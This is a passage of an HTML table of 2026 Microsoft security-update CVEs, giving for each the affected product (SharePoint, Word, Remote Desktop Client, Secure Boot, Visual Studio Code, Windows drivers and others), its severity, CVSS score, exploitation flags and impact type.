  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48568"><span>CVE-2026-48568</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48570"><span>CVE-2026-48570</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48573"><span>CVE-2026-48573</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48575"><span>CVE-2026-48575</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48576"><span>CVE-2026-48576</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48578"><span>CVE-2026-48578</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45654"><span>CVE-2026-45654</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45656"><span>CVE-2026-45656</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-8863"><span>CVE-2026-8863</span></a></td>
  <td width="256" class="xl68">UEFI Secure Boot
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40376"><span>CVE-2026-40376</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47281"><span>CVE-2026-47281</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47284"><span>CVE-2026-47284</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47292"><span>CVE-2026-47292</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  MSSQL Extension Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48569"><span>CVE-2026-48569</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47287"><span>CVE-2026-47287</span></a></td>
  <td width="256" class="xl68">Visual Studio Code
  Tampering Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42829"><span>CVE-2026-42829</span></a></td>
  <td width="256" class="xl68">Windows Administrator
  Protection Secure Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34335"><span>CVE-2026-34335</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45601"><span>CVE-2026-45601</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45598"><span>CVE-2026-45598</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45596"><span>CVE-2026-45596</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45638"><span>CVE-2026-45638</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45603"><span>CVE-2026-45603</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42911"><span>CVE-2026-42911</span></a></td>
  <td width="256" class="xl68">Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45594"><span>CVE-2026-45594</span></a></td>
  <td width="256" class="xl68">Windows Application
  Identity (AppID) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45655"><span>CVE-2026-45655</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45658"><span>CVE-2026-45658</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45640"><span>CVE-2026-45640</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth Port
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45605"><span>CVE-2026-45605</span></a></td>
  <td width="256" class="xl68">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47656"><span>CVE-2026-47656</span></a></td>
  <td width="256" class="xl68">Windows Boot Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44809"><span>CVE-2026-44809</span></a></td>
  <td width="256" class="xl68">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45634"><span>CVE-2026-45634</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45608"><span>CVE-2026-45608</span></a></td>
  <td width="256" class="xl68">Windows DHCP Client
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41108"><span>CVE-2026-41108</span></a></td>
  <td width="256" class="xl68">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
